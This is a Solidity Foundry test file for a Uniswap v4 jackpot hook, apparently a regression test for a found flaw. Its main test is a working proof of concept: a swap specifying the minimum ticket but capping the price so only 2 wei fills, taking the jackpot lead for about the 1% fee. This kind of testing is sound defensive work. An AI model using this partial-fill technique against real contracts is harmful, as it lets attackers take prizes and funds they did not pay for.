    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(manager));
        (PoolKey memory key, SwapParams memory params, bytes memory hookData) =
            abi.decode(data, (PoolKey, SwapParams, bytes));
        BalanceDelta delta = manager.swap(key, params, hookData);
        _settle(key.currency0, delta.amount0());
        _settle(key.currency1, delta.amount1());
        return abi.encode(delta);
    }

    function _settle(Currency c, int128 amount) internal {
        if (amount < 0) {
            uint256 owed = uint256(uint128(-amount));
            if (c.isAddressZero()) {
                manager.settle{value: owed}();
            } else {
                manager.sync(c);
                IERC20(Currency.unwrap(c)).transfer(address(manager), owed);
                manager.settle();
            }
        } else if (amount > 0) {
            manager.take(c, address(this), uint256(uint128(amount)));
        }
    }

    receive() external payable {}
}

/// @notice A buy whose amountSpecified equals minimumTicket() but whose price limit lets the pool fill
/// only 2 wei still takes the lead. The attacker's whole outlay is the 1% hook fee on the nominal amount.
contract TicketPartialFillTest is Test {
    using StateLibrary for IPoolManager;
    using PoolIdLibrary for PoolKey;

    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    uint160 constant FLAGS = (1 << 13) | (1 << 7) | (1 << 6) | (1 << 3) | (1 << 2);
    address constant OWNER = 0x08cD4437B077928E7fA09CF7dcDf3F7624743Bd2;
    address alice = address(0xA11CE);
    address bob = address(0xB0B);

    PoolManager manager;
    RektdToken token;
    RektJackpotHook hook;
    LimitRouter router;
    PoolModifyLiquidityTest lp;
    PoolKey key;

    receive() external payable {}

    function setUp() public {
        manager = new PoolManager(address(this));
        token = new RektdToken();
        hook = _deployHook();
        router = new LimitRouter(manager);
        lp = new PoolModifyLiquidityTest(manager);
        token.approve(address(lp), type(uint256).max);
        token.transfer(address(router), 1e24);
        vm.deal(address(this), 1_000_000 ether);
        vm.deal(address(router), 100 ether);
        key = PoolKey(CurrencyLibrary.ADDRESS_ZERO, Currency.wrap(address(token)), 12_500, 60, IHooks(address(hook)));
        manager.initialize(key, SQRT_PRICE_1_1);
        lp.modifyLiquidity{value: 10_000 ether}(
            key, ModifyLiquidityParams(TickMath.minUsableTick(60), TickMath.maxUsableTick(60), 1e21, 0), ""
        );
    }

    function _deployHook() internal returns (RektJackpotHook) {
        bytes memory code = abi.encodePacked(type(RektJackpotHook).creationCode, abi.encode(manager, OWNER));
        bytes32 h = keccak256(code);
        for (uint256 i = 0; i < 500_000; i++) {
            address p = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));
            if ((uint160(p) & ((1 << 14) - 1)) != FLAGS) continue;
            return new RektJackpotHook{salt: bytes32(i)}(manager, OWNER);
        }
        revert("no salt");
    }

    function test_partialFillBuyMustNotTakeTheLead() public {
        // Alice holds the lead with a real 1 ETH buy. Jackpot = 0.005 ETH, minimum ticket = 0.0005 ETH.
        router.swap(key, SwapParams(true, -1 ether, TickMath.MIN_SQRT_PRICE + 1), abi.encode(alice));
        assertEq(hook.currentLeader(), alice);
        uint256 minTicket = hook.minimumTicket();
        assertEq(minTicket, 0.0005 ether);

        // Bob specifies exactly the minimum ticket but caps the price one unit below the current price,
        // so the pool consumes only 2 wei. He pays 2 wei + the 1% fee on the nominal ticket (5e12 wei).
        (uint160 price,,,) = IPoolManager(address(manager)).getSlot0(key.toId());
        uint256 before = address(router).balance;
        BalanceDelta d = router.swap(key, SwapParams(true, -int256(minTicket), price - 1), abi.encode(bob));
        uint256 spent = before - address(router).balance;
        assertLt(uint256(uint128(-d.amount0())) + minTicket / 100, minTicket, "gross ETH in is below the ticket");
        assertLt(spent, minTicket / 50, "bob spent under 2% of the ticket");

        // Expected: a buy whose gross ETH input is below minimumTicket() does not take the lead.
        assertEq(hook.currentLeader(), alice, "bob took the lead without paying the ticket");

        // Sanity for the fix: a fully filled minimum ticket still takes the lead.
        router.swap(key, SwapParams(true, -int256(hook.minimumTicket()), TickMath.MIN_SQRT_PRICE + 1), abi.encode(bob));
        assertEq(hook.currentLeader(), bob, "a real minimum ticket takes the lead");
    }
}